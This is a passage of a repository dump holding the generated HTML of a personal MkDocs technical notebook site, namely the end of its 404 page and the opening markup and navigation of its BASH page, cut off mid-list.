1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/.\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/PythonCourse/\" class=\"md-nav__link\">\n        Course Python程序设计\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3\" id=\"__nav_3_label\" tabindex=\"0\">\n          Programming Languages\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Programming Languages\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/BASH/\" class=\"md-nav__link\">\n        BASH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/BAT/\" class=\"md-nav__link\">\n        BAT批处理\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/C/\" class=\"md-nav__link\">\n        C语言\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_3_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_3_4\" id=\"__nav_3_4_label\" tabindex=\"0\">\n          Java\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_3_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_3_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Java\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Java/\" class=\"md-nav__link\">\n        Java\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/S2-045/\" class=\"md-nav__link\">\n        S2-045\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/JavaScript/\" class=\"md-nav__link\">\n        JavaScript\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/PHP/\" class=\"md-nav__link\">\n        PHP\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4\" id=\"__nav_4_label\" tabindex=\"0\">\n          Web\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_4_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Web\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/CDN/\" class=\"md-nav__link\">\n        CDN\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/cURL/\" class=\"md-nav__link\">\n        cURL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_4_3\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_4_3\" id=\"__nav_4_3_label\" tabindex=\"0\">\n          Favorites\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"2\" aria-labelledby=\"__nav_4_3_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_4_3\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Favorites\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Favorites/\" class=\"md-nav__link\">\n        Favorites\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/GithubProjectRecommendation/\" class=\"md-nav__link\">\n        Github Project Recommendation\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Links/\" class=\"md-nav__link\">\n        更多链接\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Flask/\" class=\"md-nav__link\">\n        Flask\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/MySQL/\" class=\"md-nav__link\">\n        MySQL\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Nginx/\" class=\"md-nav__link\">\n        Nginx\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/RabbitMQ/\" class=\"md-nav__link\">\n        RabbitMQ\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_5\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_5\" id=\"__nav_5_label\" tabindex=\"0\">\n          Development\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_5_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_5\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Development\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Developer/\" class=\"md-nav__link\">\n        Developer\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Docker/\" class=\"md-nav__link\">\n        Docker\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/ETH/\" class=\"md-nav__link\">\n        ETH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Git/\" class=\"md-nav__link\">\n        Git\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Jekyll/\" class=\"md-nav__link\">\n        Jekyll\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/PaperReading/\" class=\"md-nav__link\">\n        Paper Reading\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/WindowsSoftware/\" class=\"md-nav__link\">\n        WindowsSoftware\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_6\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_6\" id=\"__nav_6_label\" tabindex=\"0\">\n          Fuzzing\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_6_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_6\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fuzzing\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/dfsan/\" class=\"md-nav__link\">\n        DFSan\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_7\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_7\" id=\"__nav_7_label\" tabindex=\"0\">\n          Fun\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_7_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_7\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Fun\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Bitcoin/\" class=\"md-nav__link\">\n        Bitcoin\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_8\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_8\" id=\"__nav_8_label\" tabindex=\"0\">\n          Linux\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_8_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_8\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Linux\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Linux-backup/\" class=\"md-nav__link\">\n        Linux-backup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Linux-setup/\" class=\"md-nav__link\">\n        Linux-setup\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Linux-SSH/\" class=\"md-nav__link\">\n        Linux-SSH\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Linux-cli/\" class=\"md-nav__link\">\n        Linux-cli\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Linux-VirtualBox/\" class=\"md-nav__link\">\n        Linux-VirtualBox\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/Ubuntu/\" class=\"md-nav__link\">\n        Ubuntu\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_9\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_9\" id=\"__nav_9_label\" tabindex=\"0\">\n          My Projects\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_9_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_9\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          My Projects\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/zjugrshelper/\" class=\"md-nav__link\">\n        ZJU grs helper\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"/ccfbadge/\" class=\"md-nav__link\">\n        CCF Badge\n      </a>\n    </li>\n  \n\n            \n          \n        </ul>\n      </nav>\n    </li>\n  \n\n    \n  </ul>\n</nav>\n                  </div>\n                </div>\n              </div>\n            \n            \n              \n              <div class=\"md-sidebar md-sidebar--secondary\" data-md-component=\"sidebar\" data-md-type=\"toc\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n<nav class=\"md-nav md-nav--secondary\" aria-label=\"Table of contents\">\n  \n  \n  \n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n  <h1>404 - Not found</h1>\n\n              </article>\n            </div>\n          \n          \n        </div>\n        \n      </main>\n      \n        <footer class=\"md-footer\">\n  \n  <div class=\"md-footer-meta md-typeset\">\n    <div class=\"md-footer-meta__inner md-grid\">\n      <div class=\"md-copyright\">\n  \n    <div class=\"md-copyright__highlight\">\n      <a href=https://beian.miit.gov.cn/>浙ICP备15043819号-2</a>&nbsp;&nbsp;<a target=_blank href=http://www.beian.gov.cn/portal/registerSystemInfo?recordcode=33010602007826><img src=\"/assets/images/beian.png\" height=14px>浙公网安备 33010602007826号</p></a>\n    </div>\n  \n  \n    Made with\n    <a href=\"https://squidfunk.github.io/mkdocs-material/\" target=\"_blank\" rel=\"noopener\">\n      Material for MkDocs\n    </a>\n  \n</div>\n      \n    </div>\n  </div>\n</footer>\n      \n    </div>\n    <div class=\"md-dialog\" data-md-component=\"dialog\">\n      <div class=\"md-dialog__inner md-typeset\"></div>\n    </div>\n    \n    <script id=\"__config\" type=\"application/json\">{\"base\": \"/\", \"features\": [], \"search\": \"/assets/javascripts/workers/search.208ed371.min.js\", \"translations\": {\"clipboard.copied\": \"Copied to clipboard\", \"clipboard.copy\": \"Copy to clipboard\", \"search.result.more.one\": \"1 more on this page\", \"search.result.more.other\": \"# more on this page\", \"search.result.none\": \"No matching documents\", \"search.result.one\": \"1 matching document\", \"search.result.other\": \"# matching documents\", \"search.result.placeholder\": \"Type to start searching\", \"search.result.term.missing\": \"Missing\", \"select.version\": \"Select version\"}}</script>\n    \n    \n      <script src=\"/assets/javascripts/bundle.efa0ade1.min.js\"></script>\n      \n        <script src=\"/assets/js/instantclick.min.js\"></script>\n      \n        <script src=\"/assets/js/index.js\"></script>\n      \n    \n  </body>\n</html>"
  },
  {
    "path": "docs/BASH/index.html",
    "content": "\n<!doctype html>\n<html lang=\"en\" class=\"no-js\">\n  <head>\n    \n      <meta charset=\"utf-8\">\n      <meta name=\"viewport\" content=\"width=device-width,initial-scale=1\">\n      \n        <meta name=\"description\" content=\"我的技术笔记本~\">\n      \n      \n        <meta name=\"author\" content=\"chenyuan\">\n      \n      \n      \n        <link rel=\"prev\" href=\"../PythonCourse/\">\n      \n      \n        <link rel=\"next\" href=\"../BAT/\">\n      \n      <link rel=\"icon\" href=\"../assets/images/favicon.png\">\n      <meta name=\"generator\" content=\"mkdocs-1.4.2, mkdocs-material-9.1.3\">\n    \n    \n      \n        <title>BASH - notebook</title>\n      \n    \n    \n      <link rel=\"stylesheet\" href=\"../assets/stylesheets/main.c4a75a56.min.css\">\n      \n        \n        <link rel=\"stylesheet\" href=\"../assets/stylesheets/palette.a0c5b2b5.min.css\">\n      \n      \n\n    \n    \n    \n      \n        \n        \n        <link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin>\n        <link rel=\"stylesheet\" href=\"/assets/css/fonts.css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback\">\n        <style>:root{--md-text-font:\"Roboto\";--md-code-font:\"Roboto Mono\"}</style>\n      \n    \n    \n    <script>__md_scope=new URL(\"..\",location),__md_hash=e=>[...e].reduce((e,_)=>(e<<5)-e+_.charCodeAt(0),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+\".\"+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+\".\"+e,JSON.stringify(_))}catch(e){}}</script>\n    \n      \n\n    \n    \n    \n  </head>\n  \n  \n    \n    \n    \n    \n    \n    <body dir=\"ltr\" data-md-color-scheme=\"default\" data-md-color-primary=\"\" data-md-color-accent=\"\">\n  \n    \n    \n    <input class=\"md-toggle\" data-md-toggle=\"drawer\" type=\"checkbox\" id=\"__drawer\" autocomplete=\"off\">\n    <input class=\"md-toggle\" data-md-toggle=\"search\" type=\"checkbox\" id=\"__search\" autocomplete=\"off\">\n    <label class=\"md-overlay\" for=\"__drawer\"></label>\n    <div data-md-component=\"skip\">\n      \n        \n        <a href=\"#bash\" class=\"md-skip\">\n          Skip to content\n        </a>\n      \n    </div>\n    <div data-md-component=\"announce\">\n      \n    </div>\n    \n    \n      \n\n  \n\n<header class=\"md-header md-header--shadow\" data-md-component=\"header\">\n  <nav class=\"md-header__inner md-grid\" aria-label=\"Header\">\n    <a href=\"..\" title=\"notebook\" class=\"md-header__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    <label class=\"md-header__button md-icon\" for=\"__drawer\">\n      <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M3 6h18v2H3V6m0 5h18v2H3v-2m0 5h18v2H3v-2Z\"/></svg>\n    </label>\n    <div class=\"md-header__title\" data-md-component=\"header-title\">\n      <div class=\"md-header__ellipsis\">\n        <div class=\"md-header__topic\">\n          <span class=\"md-ellipsis\">\n            notebook\n          </span>\n        </div>\n        <div class=\"md-header__topic\" data-md-component=\"header-topic\">\n          <span class=\"md-ellipsis\">\n            \n              BASH\n            \n          </span>\n        </div>\n      </div>\n    </div>\n    \n    \n    \n      <label class=\"md-header__button md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n      </label>\n      <div class=\"md-search\" data-md-component=\"search\" role=\"dialog\">\n  <label class=\"md-search__overlay\" for=\"__search\"></label>\n  <div class=\"md-search__inner\" role=\"search\">\n    <form class=\"md-search__form\" name=\"search\">\n      <input type=\"text\" class=\"md-search__input\" name=\"query\" aria-label=\"Search\" placeholder=\"Search\" autocapitalize=\"off\" autocorrect=\"off\" autocomplete=\"off\" spellcheck=\"false\" data-md-component=\"search-query\" required>\n      <label class=\"md-search__icon md-icon\" for=\"__search\">\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.516 6.516 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5Z\"/></svg>\n        <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11h12Z\"/></svg>\n      </label>\n      <nav class=\"md-search__options\" aria-label=\"Search\">\n        \n        <button type=\"reset\" class=\"md-search__icon md-icon\" title=\"Clear\" aria-label=\"Clear\" tabindex=\"-1\">\n          <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12 19 6.41Z\"/></svg>\n        </button>\n      </nav>\n      \n    </form>\n    <div class=\"md-search__output\">\n      <div class=\"md-search__scrollwrap\" data-md-scrollfix>\n        <div class=\"md-search-result\" data-md-component=\"search-result\">\n          <div class=\"md-search-result__meta\">\n            Initializing search\n          </div>\n          <ol class=\"md-search-result__list\" role=\"presentation\"></ol>\n        </div>\n      </div>\n    </div>\n  </div>\n</div>\n    \n    \n      <div class=\"md-header__source\">\n        <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n      </div>\n    \n  </nav>\n  \n</header>\n    \n    <div class=\"md-container\" data-md-component=\"container\">\n      \n      \n        \n          \n        \n      \n      <main class=\"md-main\" data-md-component=\"main\">\n        <div class=\"md-main__inner md-grid\">\n          \n            \n              \n              <div class=\"md-sidebar md-sidebar--primary\" data-md-component=\"sidebar\" data-md-type=\"navigation\" >\n                <div class=\"md-sidebar__scrollwrap\">\n                  <div class=\"md-sidebar__inner\">\n                    \n\n\n<nav class=\"md-nav md-nav--primary\" aria-label=\"Navigation\" data-md-level=\"0\">\n  <label class=\"md-nav__title\" for=\"__drawer\">\n    <a href=\"..\" title=\"notebook\" class=\"md-nav__button md-logo\" aria-label=\"notebook\" data-md-component=\"logo\">\n      \n  \n  <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 24 24\"><path d=\"M12 8a3 3 0 0 0 3-3 3 3 0 0 0-3-3 3 3 0 0 0-3 3 3 3 0 0 0 3 3m0 3.54C9.64 9.35 6.5 8 3 8v11c3.5 0 6.64 1.35 9 3.54 2.36-2.19 5.5-3.54 9-3.54V8c-3.5 0-6.64 1.35-9 3.54Z\"/></svg>\n\n    </a>\n    notebook\n  </label>\n  \n    <div class=\"md-nav__source\">\n      <a href=\"https://github.com/zjuchenyuan/notebook/\" title=\"Go to repository\" class=\"md-source\" data-md-component=\"source\">\n  <div class=\"md-source__icon md-icon\">\n    \n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><!--! Font Awesome Free 6.3.0 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2023 Fonticons, Inc.--><path d=\"M439.55 236.05 244 40.45a28.87 28.87 0 0 0-40.81 0l-40.66 40.63 51.52 51.52c27.06-9.14 52.68 16.77 43.39 43.68l49.66 49.66c34.23-11.8 61.18 31 35.47 56.69-26.49 26.49-70.21-2.87-56-37.34L240.22 199v121.85c25.3 12.54 22.26 41.85 9.08 55a34.34 34.34 0 0 1-48.55 0c-17.57-17.6-11.07-46.91 11.25-56v-123c-20.8-8.51-24.6-30.74-18.64-45L142.57 101 8.45 235.14a28.86 28.86 0 0 0 0 40.81l195.61 195.6a28.86 28.86 0 0 0 40.8 0l194.69-194.69a28.86 28.86 0 0 0 0-40.81z\"/></svg>\n  </div>\n  <div class=\"md-source__repository\">\n    GitHub\n  </div>\n</a>\n    </div>\n  \n  <ul class=\"md-nav__list\" data-md-scrollfix>\n    \n      \n      \n      \n\n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"..\" class=\"md-nav__link\">\n        Home\n      </a>\n    </li>\n  \n\n    \n      \n      \n      \n\n  \n  \n  \n    \n    <li class=\"md-nav__item md-nav__item--nested\">\n      \n      \n      \n      \n      <input class=\"md-nav__toggle md-toggle \" type=\"checkbox\" id=\"__nav_2\" >\n      \n      \n      \n        <label class=\"md-nav__link\" for=\"__nav_2\" id=\"__nav_2_label\" tabindex=\"0\">\n          Python\n          <span class=\"md-nav__icon md-icon\"></span>\n        </label>\n      \n      <nav class=\"md-nav\" data-md-level=\"1\" aria-labelledby=\"__nav_2_label\" aria-expanded=\"false\">\n        <label class=\"md-nav__title\" for=\"__nav_2\">\n          <span class=\"md-nav__icon md-icon\"></span>\n          Python\n        </label>\n        <ul class=\"md-nav__list\" data-md-scrollfix>\n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../Python/\" class=\"md-nav__link\">\n        Python\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li class=\"md-nav__item\">\n      <a href=\"../gist/\" class=\"md-nav__link\">\n        Gist Python一些常用代码片段\n      </a>\n    </li>\n  \n\n            \n          \n            \n              \n  \n  \n  \n    <li 